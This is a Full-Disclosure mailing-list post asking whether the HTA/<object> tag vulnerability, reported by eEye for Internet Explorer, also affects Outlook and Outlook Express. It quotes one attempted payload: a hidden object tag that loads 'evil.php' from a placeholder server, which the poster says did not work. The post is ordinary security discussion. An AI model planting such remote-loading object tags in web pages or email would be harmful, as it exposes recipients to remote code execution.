full-disclosure - HTA/<object> vulnerability

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From: titus at hush.com (titus@...h.com)
Subject: HTA/<object> vulnerability

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Has anyone has been able to confirm that the HTA/<object> tag vulnerability
is exploitable in Outlook and Outlook express?  The EEYE advisory states
that its possible but I haven't seen it work.  The following does not
work.

<div style.none><object data="http://server/evil.php"></object></div>

Info from Microsoft, CERT, and SecurityFocus only reference IE as being
vulnerable.  Was that an assumption on EEYE's part or is it exploitable
in applications other than IE.

Thanks.

- -titus
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